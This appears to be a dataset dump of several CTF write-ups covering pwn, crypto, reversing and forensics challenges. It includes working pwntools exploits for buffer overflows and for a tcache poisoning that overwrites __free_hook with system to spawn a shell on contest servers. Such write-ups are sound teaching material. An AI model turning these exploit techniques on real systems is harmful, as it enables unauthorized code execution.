text_chunk
stringlengths 151
703k
|
---|
# b01lers bootcamp CTF 2020
## The Oracle
> 100>> Would you still have broken it if I hadn't said anything?>> `nc chal.ctf.b01lers.com 1015`> > [theoracle](theoracle) > [theoracle.c](theoracle.c)
Tags: _pwn_ _x86-64_ _remote-shell_ _bof_ _ret2win_ _rop_
## Summary
Basic _ret2win_.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
Anything goes but shellcode.
### Decompile with Ghidra
```cundefined8 main(void){ char local_18 [16]; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); puts("Know Thyself."); fgets(local_18,0x80,stdin); return 0;}
void win(void){ char *local_18; char *local_10; local_10 = (char *)0x0; local_18 = (char *)0x0; execve("/bin/sh",&local_10,&local_18); return;}```
> Yes the source is included, but only Ghidra tells me I need to write `0x18` (`local_18`) bytes to get to the return address.
So, `fgets` will _get_ up to `0x80` bytes for a buffer that is `0x18` bytes from the return address on the stack. With no PIE, setting up a _win_ is easy.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./theoracle')context.log_level = 'INFO'
if not args.REMOTE: context.log_file = 'local.log' p = process(binary.path)else: context.log_file = 'remote.log' p = remote('chal.ctf.b01lers.com', 1015)
payload = 0x18 * b'A'payload += p64(binary.sym.win)
p.sendlineafter('Know Thyself.\n',payload)p.interactive()```
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/b01lersbootcampctf2020/the_oracle/theoracle' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to chal.ctf.b01lers.com on port 1015: Done[*] Switching to interactive mode$ iduid=1000(theoracle) gid=1000(theoracle) groups=1000(theoracle)$ ls -ltotal 36-r-xr-x--- 1 root theoracle 86 Oct 2 18:33 Makefile-r--r----- 1 root theoracle 45 Oct 2 18:33 flag.txt-r-xr-x--- 1 root theoracle 16936 Oct 3 04:09 theoracle-r-xr-x--- 1 root theoracle 330 Oct 2 18:33 theoracle.c-r-xr-x--- 1 root theoracle 47 Oct 2 18:33 wrapper.sh$ cat flag.txtflag{Be1ng_th3_1_is_JusT_l1ke_b3ing_in_l0v3}``` |
# Dead drop 1 (crypto, 169p, 24 solved)# Dead drop 2 (crypto, 217p, 17 solved)
We put both tasks in a single writeup because attack we used breaks both challenges and there is pretty much no difference between them from our point of view.This suggests it might be an unintended vector...
## Description
In the task we get sources [one](https://raw.githubusercontent.com/TFNS/writeups/master/2020-07-03-ASIS-quals/dead_drop/dead_drop_1.py) and [two](https://raw.githubusercontent.com/TFNS/writeups/master/2020-07-03-ASIS-quals/dead_drop/dead_drop_2.py) and also corresponding encrypted flags [one](https://raw.githubusercontent.com/TFNS/writeups/master/2020-07-03-ASIS-quals/dead_drop/flag1.enc) and [two](https://raw.githubusercontent.com/TFNS/writeups/master/2020-07-03-ASIS-quals/dead_drop/flag2.enc).
In the task we are facing `Naccache Stern Knapsack (NSK) cryptosystem`:
```pythonfrom Crypto.Util.number import *import randomfrom flag import flag
p = 22883778425835100065427559392880895775739
flag_b = bin(bytes_to_long(flag))[2:]l = len(flag_b)
enc = []for _ in range(l): a = [random.randint(1, p - 1) for _ in range(l)] a_s = 1 for i in range(l): a_s = a_s * a[i] ** int(flag_b[i]) % p enc.append([a, a_s])
f = open('flag.enc', 'w')f.write(str(p) + '\n' + str(enc))f.close()```
The difference between tasks is just that `p` in version 1 is a composite and in version 2 it's a prime.Apart from that in version 2 we get more data points.
The idea of the algorithm is that random values `a[i]` are either included in the product or not, depending on whether `i-th` secret bit is `1` or `0`.
So for example if bits as `1001` then product is `a[0]*a[3]` because bits corresponding to `a[1]` and `a[2]` are 0.
Of course if this product was not reduced `mod p` we could easily calculate `gcd(a[i],a_s)` to know if `a[i]` was part of the product.But modular reduction breaks this property.
We know the flag prefix and suffix, so we could `fix` some bits.Also in `v1` we could fix some `0` bits by inspecting:
```pythonif gcd(a[bit_number], p) != 1 and gcd(gcd(a[bit_number], p), a_s) == 1: bits[bit_number] = 0```
but this is not enough.
## Solution
We stumbled at the solution when reading the paper introducing this cryptosystem: `Naccache, David, and Jacques Stern. "A new public-key cryptosystem." International Conference on the Theory and Applications of Cryptographic Techniques. Springer, Berlin, Heidelberg, 1997.` https://www.di.ens.fr/~stern/data/St63.pdf
At point `2.4` authors mention an interesting property of this cryptosystem.It seems that due to multiplicative property of Legendre symbol it's possible to leak parity of the secret bits.Then authors suggest that this is not serious, unless in special case when attacker has multiple encryptions of the same message...
We basically want to use the fact that `legendre(a_s,p) == legendre(a[i],p) * legendre(a[m],p) * ... * legendre(a[k],p)` where `i,m,...,k` are indices where bit is 1.
Now we want to express the above property in terms of sum in `GF(2)`, so we can make this into a matrix equation.We basically change the multiplication into addition mod 2.
Since legendre symbol returns `-1` or `1` (unlikely to get a `0`) we make a transposition of this by doing `+2 mod 3`.This way `-1` becomes `1` and `1` becomes `0`.
Notice that now the `Legendre` property stated above still holds, but now we're just doing additions!For example:
```-1 * 1 * 1 = -1```
Is now:
```1 + 0 + 0 mod 2 = 1```
Solution so this matrix will be a bitvector stating which of the terms `1` and `-1` need to be included for this property to hold.
### V1
The only particular thing we need to do here for `v1` is that `p` is not prime so we can't do `legendre(a_s,p)`, and we need to use one of prime factors as modulus.The bigger the better, because it's lower chance of actually getting `legendre` to return a `0`.
The solution is:
```pythondef legendre_GF2(x, mod): assert kronecker(x, mod) != 0 return (kronecker(x, mod) + 2) % 3
def solve(mod, enc, flag): matrix_eq = [] vector_res = []
for a, a_s in enc: a_s = legendre_GF2(a_s % mod, mod) a = [legendre_GF2(x % mod, mod) for x in a] vector_res.append(a_s) matrix_eq.append(a)
for i in range(len(flag)): if flag[i] == None: continue new_eq = [0] * len(flag) new_eq[i] = 1
matrix_eq.append(new_eq) vector_res.append(flag[i])
A = Matrix(GF(2), matrix_eq) B = vector(GF(2), vector_res)
res = A.solve_right(B)
res_string = '' for c in res: res_string += str(c)
return long_to_bytes(int(res_string, 2))```
Now it might be that some of the vectors in our matrix are not independent, so we include here `flag` wich is array with bits we know from the flag format.
We call this via:
```pythondef main(): with open('flag1.enc', 'rb') as f: p = int(f.readline().strip()) enc = eval(f.readline()) # Factorisation of p is 19 * 113 * 2657 * 6823 * 587934254364063975369377416367 mod = 587934254364063975369377416367 flag = [None] * len(enc) start = bin(bytes_to_long(b'ASIS{'))[2:] end = bin(bytes_to_long(b'}'))[2:].zfill(8) # We know the end of the flag for i in range(len(start)): flag[i] = int(start[i]) # We know the start of the flag for i in range(-1, -len(end) - 1, -1): flag[i] = int(end[i])
result = solve(mod, enc, flag) print(result)
main()```
And we get `ASIS{175_Lik3_Multivariabl3_LiNe4r_3QuA7i0n5}`
### V2
It should be pretty clear now, that this solution really doesn't change at all with respect to `v2` of the task.There is no flag format, so we can't use that, but we have more inputs to work with, so most likely we will have just enough independent vectors.We run:
```python
def main(): with open('flag2.enc', 'rb') as f: p = mod = int(f.readline().strip()) enc = eval(f.readline()) flag = [None] * len(enc) result = solve(mod, enc, flag) print('ASIS{'+result+'}')
main()```
with the same solver code and we get `ASIS{Z_q_iZ_n0T_a_DDH_h4rD_9r0uP}`
Complete solver [here](https://raw.githubusercontent.com/TFNS/writeups/master/2020-07-03-ASIS-quals/dead_drop/solver.sage) |
# b01lers bootcamp CTF 2020
## There is no Spoon
> 100>> Neo: bend reality, and understand the truth of the matrix.> > `nc chal.ctf.b01lers.com 1006`> > [thereisnospoon](thereisnospoon) > [thereisnospoon.c](thereisnospoon.c)
Tags: _pwn_ _x86-64_ _remote-shell_ _bof_ _angr_
## Summary
I lazied my way out of this one and let [angr.io](angr.io) do all the work. 6 second solve. Zero sweat.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
Anything goes but shellcode.
### Decompile with Ghidra
```cundefined8 main(void){ ssize_t sVar1; size_t __size; char local_128 [256]; long local_28; uint *local_20; void *local_18; int local_c; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); local_c = 0x100; printf("Neo, enter your matrix: "); sVar1 = read(0,local_128,(long)local_c); local_c = (int)sVar1; __size = strlen(local_128); local_18 = malloc(__size); local_20 = (uint *)malloc(4); *local_20 = 0xff; printf("Reality: %d\n",(ulong)*local_20); printf("Make your choice: "); sVar1 = read(0,local_18,(long)local_c); local_c = (int)sVar1; puts("Now bend reality. Remember: there is no spoon."); local_28 = xor((long)local_18,(long)local_128,local_c); printf("Result: %s\n",local_28); printf("Reality: %d\n",(ulong)*local_20); if (*local_20 != 0xff) { system("/bin/sh"); } return 0;}```
We just need to figure out the correct input to change `*local_20`, _or do we?_
> _Why are we looking at the decompile when the source was provided?_> > Because we need to tell _angr_ what to search for:
```assembly004013d2 e8 e9 fc CALL system ff ff```
`0x4013d2` is our target.
## Exploit
```python#!/usr/bin/env python3
import angr, time, iofrom pwn import *
FIND_ADDR=0x4013d2t=time.time()bits = open('./thereisnospoon','rb').read()proj = angr.Project(io.BytesIO(bits),auto_load_libs=False)state = proj.factory.entry_state()simgr = proj.factory.simulation_manager(state)simgr.use_technique(angr.exploration_techniques.DFS())simgr.explore(find=FIND_ADDR)log.info(str(time.time() - t) + ' seconds')
binary = context.binary = ELF('./thereisnospoon')context.log_level = 'INFO'
if not args.REMOTE: context.log_file = 'local.log' p = process(binary.path)else: context.log_file = 'remote.log' p = remote('chal.ctf.b01lers.com', 1006)
p.send(simgr.found[0].posix.dumps(0))p.interactive()```
Not a lot here. Set the find address to the address calling `system`, wait 6 seconds for _angr_ to do all the work for us, then just pass that along.
Output:
```bash# ./exploit.py REMOTE=1[*] 5.977146625518799 secondsINFO | 2020-10-04 21:05:10,983 | pwnlib.exploit | 5.977146625518799 seconds[*] '/pwd/datajerk/b01lersbootcampctf2020/there_is_no_spoon/thereisnospoon' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)INFO | 2020-10-04 21:05:11,041 | pwnlib.elf.elf | '/pwd/datajerk/b01lersbootcampctf2020/there_is_no_spoon/thereisnospoon'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)[|] Opening connection to chal.ctf.b01lers.com on port 1006INFO | 2020-10-04 21:05:11,045 | pwnlib.tubes.remote.remote.140324877945632 | Opening connection to chal.ctf.b01lers.com Opening connection to chal.ctf.b01lers.com on port 1006: Trying 104.197.187.199INFO | 2020-10-04 21:05:11,100 | pwnlib.tubes.remote.remote.140324877945632 | Opening connection to chal.ctf.b01lers.[+] Opening connection to chal.ctf.b01lers.com on port 1006: DoneINFO | 2020-10-04 21:05:11,169 | pwnlib.tubes.remote.remote.140324877945632 | Opening connection to chal.ctf.b01lers.com on port 1006: Done[*] Switching to interactive modeINFO | 2020-10-04 21:05:11,171 | pwnlib.tubes.remote.remote.140324877945632 | Switching to interactive modeNeo, enter your matrix: Reality: 255Make your choice: Now bend reality. Remember: there is no spoon.Result:Reality: 0$ iduid=1000(strlenvsread) gid=1000(strlenvsread) groups=1000(strlenvsread)$ ls -ltotal 36-r-xr-x--- 1 root strlenvsread 98 Oct 2 18:33 Makefile-r--r----- 1 root strlenvsread 30 Oct 2 18:33 flag.txt-r-xr-x--- 1 root strlenvsread 17056 Oct 3 04:08 strlenvsread-r-xr-x--- 1 root strlenvsread 912 Oct 2 18:33 strlenvsread.c-r-xr-x--- 1 root strlenvsread 53 Oct 2 18:33 wrapper.sh$ cat flag.txtflag{l0tz_0f_confUsi0n_vulnz}``` |
# Solution
"Patience" is a hint towards "time".
One can observe that HTTP server takes different time to respond. Sometimes it's ~100 ms, sometimes ~600 ms, sometimes ~1100 ms. Thus, some information could be transmitted using this covert timing channel.
We can interpret server delays as a morse code string. Delay >1000 ms is a space, delay >500 ms is a dash `-`, delay ~100 ms is a dot `.`.
Full solution using pyshark library: [solution.py](https://github.com/oioki/balccon2k20-ctf/blob/master/forensics/patience/solution/solution.py) |
# Merry go round (re, 80p, 60 solved)
## Description
In the task we get a [binary](https://raw.githubusercontent.com/TFNS/writeups/master/2020-07-03-ASIS-quals/mgr/mgr) and [result](https://raw.githubusercontent.com/TFNS/writeups/master/2020-07-03-ASIS-quals/mgr/flag.enc).The binary is a simple encryptor.We run it and and it will encrypt `flag.txt` to `flag.enc`.
Ghidra becomes sad at this C++ binary, but fortunately it's again `every RE is a blackbox crypto if you're brave enough` kind of deals, and we're definitely brave!
At the start of the function some static constants are generated and random is seeded.We don't really care about this, we focus on what happens with our input.The interesting part is at:
```c begin_iter = begin(); end_iter = end(); while( true ) { has_next = has_next(&begin_iter,&end_iter,&end_iter); if (has_next == '\0') break; iterator = (char *)get_iter(&begin_iter); input_char = *iterator; some_xors((byte *)local_508,&input_char,&xored_input_char,1); xored_inputs_array[index] = xored_input_char; index = index + 1; next(&begin_iter); } wtf(0x10,0x20); open((char *)local_488,0x102e5b); flush(); local_574 = rand(); local_574 = local_574 % 10; randomized_xor(local_508,xored_inputs_array,(char *)output,(short)length,(char)local_574); operator<<<std--char_traits<char>>(local_488,output); close();```
Those xor functions do stuff like:
```cvoid some_xors(byte *param_1,char *keystream,char *output,ushort length)
{ byte bVar1; byte bVar2; ushort index; bVar1 = *param_1; bVar2 = param_1[0x12]; index = 0; while (index < length) { output[index] = keystream[index] ^ (byte)index ^ bVar2 ^ bVar1 ^ *(byte *)((long)(0 % (uint)*(ushort *)(param_1 + 0x10)) + *(long *)(param_1 + 8)); index = index + 1; } return;}```
and:
```cvoid randomized_xor(byte *keystream,char *input,char *output,ushort length,byte random)
{ byte bVar1; byte bVar2; ushort index; bVar1 = *keystream; bVar2 = keystream[0x12]; output[length] = (byte)length ^ random ^ *(byte *)((long)((int)((uint)length ^ (uint)(bVar2 ^ bVar1)) % (uint)*(ushort *)(keystream + 0x10)) + *(long *)(keystream + 8)); index = 0; while (index < length) { output[index] = (byte)index ^ input[index] ^ random ^ *(byte *)((long)((int)((uint)(bVar2 ^ bVar1) ^ (uint)index) % (uint)*(ushort *)(keystream + 0x10)) + *(long *)(keystream + 8)); index = index + 1; } return;}```
What we can see here is that input values are used byte by byte in both cases!This is convenient because it means we can just brute-force flag single byte at a time.
## Solution
### Beat the random
One small issue is the:
```clocal_574 = rand();local_574 = local_574 % 10;randomized_xor(local_508,xored_inputs_array,(char*)output,(short)length,(char)local_574);```
It will xor output via some random and interfere with our brute force.We need to get rid of this!
The easy trick is to compile:
```cint rand(){ return 9;}```
`gcc -shared -fPIC unrandom.c -o unrandom.so`
And then run the binary via `LD_PRELOAD=$PWD/unrandom.so ./mgr` and random will always have a fixed value.
Now we need to figure out which value, but this is easy, since random is taken `%10`.We know flag format so we know the flag has to start with `ASIS`.We can therefore encrypt `ASIS` using every possible value `0-9` and for one of them the encrypted flag prefix will match our output.
### Brute the flag
Now we can focus on the flag brute force.There is nothing special here:
1. Put in the input file known prefix of the flag + random character from charset2. Encrypt3. Compare results with encrypted flag, if whole prefix matches then extend known prefix and start again. Otherwise test another char from charset.
```pythonimport codecsimport subprocessimport string
def main(): flag = 'ASIS{' with codecs.open('flag.enc.orig','rb') as reference: target = reference.read() for index in range(len(target)-len(flag)): for c in string.ascii_letters + string.digits + string.punctuation: candidate = flag+c with codecs.open("flag.txt", 'wb') as f: f.write(candidate) subprocess.call("LD_PRELOAD=./urandom.so ./mgr",shell=True) with codecs.open('flag.enc', 'rb') as e: result = e.read()[len(flag)] if result == target[len(flag)]: flag = candidate print(flag) breakmain()```
After a moment we get:
`ASIS{Kn0w_7h4t_th3_l1fe_0f_thi5_wOrld_1s_8Ut_amu5em3nt_4nd_div3rsi0n_aNd_adOrnmen7}` |
# Online Nonogram
Do you like the puzzle game?
[nono](./nono)`libc.so.6`: standard ubuntu 20.04 libc version 2.31
nc pwn03.chal.ctf.westerns.tokyo 22915
## Analysis
This task is based on the [Nonogram](https://en.wikipedia.org/wiki/Nonogram) puzzle game.The binary allows us to create new puzzles, play them, show puzzles (after we have solved them) and delete them over a simple command-line interface.The binary is PIE, has NX and full-relro enabled.Puzzles consist of a title and a square grid of bits (each cell can be either 0 or 1). Whenever we need to select a puzzle (for the play, show and delete actions), a list with the title of each puzzle is shown.
The bug in the binary is in the add function. The reversed source code for this function is:
```c++struct Puzzle { int size; char* data; std::string title; bool solved;};
char gbuf[0x200];std::vector<struct Puzzle*> vec_puzzle;
void add_puzzle(void) { auto title = basic_string(); std::cout << "Title: "; if (!(std::cin >> title)) { std::cout << "Size: "; size = read_int(); if (size == 0) { std::cout << "input error" << std::endl; return; }
std::cout << "Puzzle: "; read_cnt = read(0,gbuf,(size * size >> 3) + 1); if (read_cnt < 1) { std::cout << "input error" << std::endl; return; } auto title_copy = std::string(title); auto puzzle_mem = operator.new(0x38); Puzzle(puzzle_mem,&title_copy,size,gbuf); ~basic_string(&title_copy); push_back(vec_puzzle,&puzzle_this); std::cout << "Success" << std::endl; } else { clear(0x1091d0); ignore(); this = operator<<<std--char_traits<char>>(cout,"input error"); operator<<(this,endl<char,std--char_traits<char>>); } ~basic_string(&title); if (local_20 != *(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}```
The call to `read` happens without any sizing checking, even though the buffer `gbuf` in the data section has a fixed size of 0x200 bytes.With this bug, we can corrupt the structure representing the `vec_puzzle` vector.The code also doesn't check if enough data has been read. If we send less than `((size * size) >> 3) + 1` bytes, we can create a puzzle with uninitialized data.
## Leaking the heap base
Nonograms are represented in memory as bitarrays. The state of each cell is a single bit.The bitarray for a nonogram of size 92 needs `92 * 92 / 8 + 1 = 0x432` bytes.If we only sent `0x200` zeros, then part of the data for that nonogram will be filled with the data of the `vec_puzzle` structure, since it is located immediately after the `gbuf` buffer in the data section.Because the data section does not contain any other variables past that point, the rest of the buffer is zero.
So we can create a nonogram that contains the `vec_puzzle` structure. A vector in C++ is represented 3 pointers, `begin`, `end` (points to the end of used storage, where the next element will be placed) and `cap` (points to the end of the allocated storage). If we manage to solve the puzzle, we can thus leak pointers into the heap.
The nonogram puzzle has a list of hints for each row and each column. The hints tell us how many bits are set in each continuous group of bits within that row/column.But unfortunately, because our puzzle is only 92 bits wide, the three pointers are not in a single column.The following graphic illustrates how the pointers are located in our nonogram:

Black cells represent known zeros (the two most significant bytes of each pointers are always zero). The yellow part are the bits that are common between the pointers (depend only on ASLR). The red, green and blue parts are the lowest 12 bits of each pointer.We can easily recover the bits that are the only non-zero cells in a column, since then the hint is `1` if the bit is set and `0` otherwise.After that, we can continue to recover the bits that are only together with now-known bits in a row.Repeating this process, we see that we can get all except four bits.The remaining four bits luckily appear to be constant between runs and also match our local setup, so we can simply hardcode them (but they could also easily be brute-forced).
Here's the function to leak those three pointers:
```[email protected] solve_leak(idx, known_bits): #known_bits = [0,0,0,0] add_puzzle("leak", 92, b"\x00"*0x400)
p.sendlineafter("Your input: ", "1") p.sendlineafter("Index:\n", str(idx)) p.recvline_contains("Row's Numbers")
row_numbers = [int(x.strip(b",")) for x in p.readuntil("\nColumn's Numbers\n", drop=True).split()] p.recvline_contains("Current Status")
common = row_numbers[52:68] + row_numbers[32:40] common = common + [a - b for a,b in zip(row_numbers[76:88], known_bits + common[:8])] assert len(common) == 36
beg_low = [a - b for a, b in zip(row_numbers[4:16], common[16:28])] end_low = [a - b for a, b in zip(row_numbers[68:80], common[16:28])] cap_low = [a - b for a, b in zip(row_numbers[40:52], common[-12:])] zeros = [0] * 16 assert len(beg_low) == 12 assert len(end_low) == 12 assert len(cap_low) == 12
beg_bits = beg_low + common + zeros end_bits = end_low + common + zeros cap_bits = cap_low + common + zeros
actions = [(i, 89) for i, v in enumerate([0] * 4 + beg_bits + end_bits[:24]) if v] actions += [(i, 90) for i, v in enumerate(common[12:] + zeros + cap_bits[:52]) if v]
p.sendlineafter(":", "".join(str(x) + " " + str(y) + "\n" for x, y in actions)) p.recvline_contains("Congratz!")
return u64(decode_int64(beg_bits)), u64(decode_int64(end_bits)), u64(decode_int64(cap_bits))```
## Leaking heap data / libc addressAs a next step, we want to leak the base address of libc. For this, we can leak data from the heap after freeing a big enough number of puzzles.The last chunk in the linked list of free chunks will then contain a pointer into the libc `main_arena` struct, so there will be a libc pointer on the heap.
First, let's create some puzzles and free them again:
```pythonfor i in range(10): add_puzzle("tofree" + str(i), 1, b"\x01")
for _ in range(10): delete_puzzle(4)```
We can now corrupt the pointers of the vec_puzzle vector.If we point the `end` vector to some place on the heap and make sure that there is enough capacity (`cap - end >= 8`), then the next `push_back` in `add_puzzle` will write the pointer to the newly allocated puzzle at the location we set `end` to.This primitive allows us to write a pointer to an allocated `Puzzle` struct anywhere we want on the heap.Let's make a function for that:
```pythondef write_puzzleptr_to(addr, base=None): add_puzzle("write", 92, flat({ 0x400: [addr, addr, addr + 8] }, filler=b"\0")) delete_puzzle(0) if base: add_puzzle("write", 92, flat({ 0x400: [base, base + 16, base + 24] }, filler=b"\0")) return
add_puzzle("write", 92, flat({ 0x400: [orig_vec_beg, orig_vec_end, orig_vec_cap] }, filler=b"\0"))```
We also make sure to reset the vector again after doing our corruption, so that we don't accidently corrupt much more later in our exploits.Using this primitive, we can overwrite the `data` and `size` pointer of a `title` string to leak a large portion of the heap:
```pythonstring_addr = beg + 0x30info("string_addr %#x", string_addr)write_puzzleptr_to(string_addr + 4) # this will set size to the topmost 4 bytes of a puzzle address, so it will be large (but only about 16 bit, because the topmost 2 bytes are always zero)
write_puzzleptr_to(string_addr) # here we set the data pointer to point to an allocated puzzle```
When we list the puzzles the next time (using any action that requires us to enter a puzzle id), we get a large heap dump as a title of one of the puzzles. We can find a libc address at some offset within this dump.
## Tcache corruption to overwrite `__free_hook` / spawn a shellAfter leaking all the addresses, we can now turn to spawn a shell.The plan here is that we want a string to be allocated at the place of `__free_hook` with controlled data.By setting the data to the address of `system`, this will then set `__free_hook` to `system`, meaning we can execute shell commands by freeing chunks.
We do the familar tcache next pointer corruption to achieve this. First, we free some puzzles, so their structs will be placed into a tcache (a single-linked list):
```pythonfor i in range(5): add_puzzle("tcache" + str(i), 1, b"\x01")
for i in range(5): delete_puzzle(14)```
When we now allocate a new puzzle, the puzzle will be allocated in the first chunk of the tcache.Using our primitive from before, we can overwrite a `next` pointer from another chunk in the same tcache with this address.After this, our tcache will be cyclic (because the first chunk will appear again later in tcache again).We then just need to allocate a string of the correct size and it'll end up in the location of that puzzle, therefore allowing us to overwrite the `next` pointer of a later chunk in the same tcache with arbitrary data.
```pythontcache_next_addr = beg + 0x12c0# we need some valid puzzles to free, there appear to be some valid pointers at beg + 0x1320write_puzzleptr_to(tcache_next_addr, base=beg + 0x1320) delete_puzzle(2)delete_puzzle(1)delete_puzzle(0)add_puzzle(flat({ 0x0: p64(libc.symbols.__free_hook),}, length=0x31), 1, b"\x01")```
After this, we now allocate some more chunks until our `__free_hook` chunk is at the correct place (the correct amount can be found with a debugger) in the tcache linked list and then overwrite the `__free_hook` with system:
```pythonfor _ in range(2): add_puzzle("claim", 1, b"\x01")
add_puzzle(flat({ 0x0: p64(libc.address + 0x55410),}, length=0x31), 1, b"\x01", check=False)
```
Now, we can simply make a new puzzle with a title containing a shell command to get an interactive shell:
```pythonp.sendline("")p.sendlineafter("Your input: ", "2")p.sendline("bash;test#################################################1\n\n\n\n\n")```
And cat the flag: `TWCTF{watashi_puzzle_daisuki_mainiti_yatteru}` |
`challenge.7` contains a single txt file `password.txt` which we are able to extract
```Scanning the drive for archives:1 file, 153628 bytes (151 KiB)
Listing archive: challenge.7z
--Path = challenge.7zType = 7zPhysical Size = 153628Headers Size = 130Method = LZMA2:12Solid = -Blocks = 1
Date Time Attr Size Compressed Name------------------- ----- ------------ ------------ ------------------------2020-10-02 11:00:07 ....A 486 162 password.txt------------------- ----- ------------ ------------ ------------------------2020-10-02 11:00:07 486 162 1 files
```
```$ cat password.txt _ _ _ __ _ __ _(_)_ _____ _ __ ___ ___ | |_| |__ ___ / _| | __ _ __ _ / _` | \ \ / / _ \ | '_ ` _ \ / _ \ | __| '_ \ / _ \ | |_| |/ _` |/ _` | | (_| | |\ V / __/ | | | | | | __/ | |_| | | | __/ | _| | (_| | (_| | \__, |_| \_/ \___|___|_| |_| |_|\___|___\__|_| |_|\___|___|_| |_|\__,_|\__, | |___/ |_____| |_____| |_____| |___/
```
seems like password is `give_me_the_flag` , next we notice that the file is actually pretty huge given it contains only a single text file. we inspect it using xxd and observe that there actually is another 7zip archive after the compressed txt file at `000000c0` we see ` 377a bcaf 271c 0004`
```00000000: 377a bcaf 271c 0004 708d 625c 9a57 0200 7z..'...p.b\.W..00000010: 0000 0000 6200 0000 0000 0000 2d63 7183 ....b.......-cq.00000020: e001 e500 9a5d 0010 6a93 c41b 8adf d95e .....]..j......^00000030: 8def 6644 bb1e 6f47 7fac 44e9 f525 0206 ..fD..oG..D..%..00000040: 0bc6 079f a0ea f5a0 9cbd cdc0 8be3 d293 ................00000050: 9ab9 4f92 2b15 189e c933 12f8 79b2 3c71 ..O.+....3..y.<q00000060: e045 4705 fbd8 2345 da45 629a 5541 b8bb .EG...#E.Eb.UA..00000070: 8aab d398 38ce b63d 5497 a2b2 6d6d f680 ....8..=T...mm..00000080: 795f 0af1 7538 07e4 def1 2598 d88b b812 y_..u8....%.....00000090: a660 677f 89ca b60e 21a3 e035 8335 5ab3 .`g.....!..5.5Z.000000a0: 2d84 56ff 367d 5975 c7d1 5ea6 6809 c22f -.V.6}Yu..^.h../000000b0: 1dad 936b 7be6 37dd 9cc2 cf8c bec1 9480 ...k{.7.........000000c0: 0000 377a bcaf 271c 0004 21f2 c54d b356 ..7z..'...!..M.V000000d0: 0200 0000 0000 2500 0000 0000 0000 8dc1 ......%.........000000e0: be36 6772 c955 3e26 ea1f dc4f 7570 8e55 .6gr.U>&...Oup.U000000f0: 0253 1e28 ea7d dce8 f2e8 3c3a 9ea5 b5f3 .S.(.}....<:....00000100: c1c2 27c6 7f3e c17d 09a2 0954 d00e 5df2 ..'..>.}...T..].00000110: 55e6 2cf8 61cc 4835 ff5d f689 daba 118e U.,.a.H5.]......00000120: 7174 d3bc 1e25 9805 7e54 aef3 57c7 b20d qt...%..~T..W...00000130: 28b9 40a2 dc44 1790 847f 29fd 55a9 ecca ([email protected]....).U...00000140: 6222 c19b 7a84 537b 4f3e 467d 5d41 6920 b"..z.S{O>F}]Ai 00000150: 8d1b edc3 9c84 17d0 ad56 6eb2 69bd 23a1 .........Vn.i.#.
```
we remove everything before these values to get a new archive. ``` Scanning the drive for archives:1 file, 153434 bytes (150 KiB)
Listing archive: cutted.7z
--Path = cutted.7zType = 7zWARNINGS:There are data after the end of archivePhysical Size = 153336Tail Size = 98Headers Size = 4024Method = LZMA2:192k 7zAESSolid = +Blocks = 1
Date Time Attr Size Compressed Name------------------- ----- ------------ ------------ ------------------------2020-10-02 13:31:21 D.... 0 0 part22020-10-02 12:12:15 ....A 46 149312 flag.txt2020-10-02 13:31:04 ....A 564 part2/part2_0.7z2020-10-02 13:31:04 ....A 751 part2/part2_1.7z2020-10-02 13:31:04 ....A 350 part2/part2_10.7z2020-10-02 13:31:08 ....A 189 part2/part2_100.7z2020-10-02 13:31:08 ....A 539 part2/part2_101.7z2020-10-02 13:31:08 ....A 446 part2/part2_102.7z....... ``` we see the `flag.txt` in the archive and also `part2` folder which is part of the next chall. when we try to extract the flag we are asked for a password which is `give_me_the_flag` from the `password.txt` we extracted earlier ``` $ cat flag.txt tstlss{next_header_offset_is_a_nice_feature}
``` |
# Chunk Norris (crypto, 98p, 127 solved)
## Description
In the task we get [RSA-like code](https://raw.githubusercontent.com/TFNS/writeups/master/2020-08-24-GoogleCTF/chunk/challenge.py) and [output](https://raw.githubusercontent.com/TFNS/writeups/master/2020-08-24-GoogleCTF/chunk/output.txt).
## Code analysis
### Main
The `main` code is pretty short and simple:
1. Generate two 1024 bit primes2. Combine them to form RSA modulus3. Encrypt flag with e=65537
### Prime generation
The real deal in this task lies in the prime generation procedure.If the primes were truly random, we would be facing a general RSA problem, and most likely would not be able to solve this.
However, in this case the prime generation procedure is a bit fishy.Primes are generated using LCG with random seed, and known `a` and modulus:
```pythondef gen_prime(bits): s = random.getrandbits(chunk_size)
while True: s |= 0xc000000000000001 p = 0 for _ in range(bits // chunk_size): p = (p << chunk_size) + s s = a * s % 2**chunk_size if gmpy2.is_prime(p): return p```
1. Generate random seed2. Shift result by chunk_size3. Add current seed to the result4. Create new seed as `seed = a*seed%2**chunk_size`5. Repeat steps 2-5 until we have enough bits
## Solution
We want to recover value of initial seed for one of the primes, and use it to re-generate this prime and thus break RSA modulus.
### Recover initial seeds product
We start off by recovering product of both initial seeds.
#### Recover top part of initial seeds product
Note that initial seed is being shifted to the left from the start, so it will end up as leftmost chunk of the prime.
So the prime have form: `SABCD` where `S` is initial seed, `A = S*a%2**chunk_size`, `B = S*a**2%2**chunk_size` etc.
This implies that if you multiply two such numbers, leftmost bits if the result will be top half bits of `S1*S2`.
For test purposes let's modify `gen_prime` so that it returns also the initial seed.Then if we run:
```pythondef sanity2(): s, p = gen(256) w, q = gen(256) n = p * q bits = 256 * 2 print(hex(n)) top = (n - (n % 2 ** (bits - 64))) >> (bits - 64) print(hex(top)) print(hex(s * w % 2 ** 128 >> 64))
sanity2()```
We can confirm this is true.So we can easily recover upper half of bits of two initial seeds by:
```pythondef get_top(n, bits, chunk_size): top = (n - (n % 2 ** (bits * 2 - chunk_size))) >> (bits * 2 - chunk_size) return top```
Note that sometimes we're unlucky and there is enough carry from lower bits, that they flip LSB we just recovered.In most cases is just off-by-one.
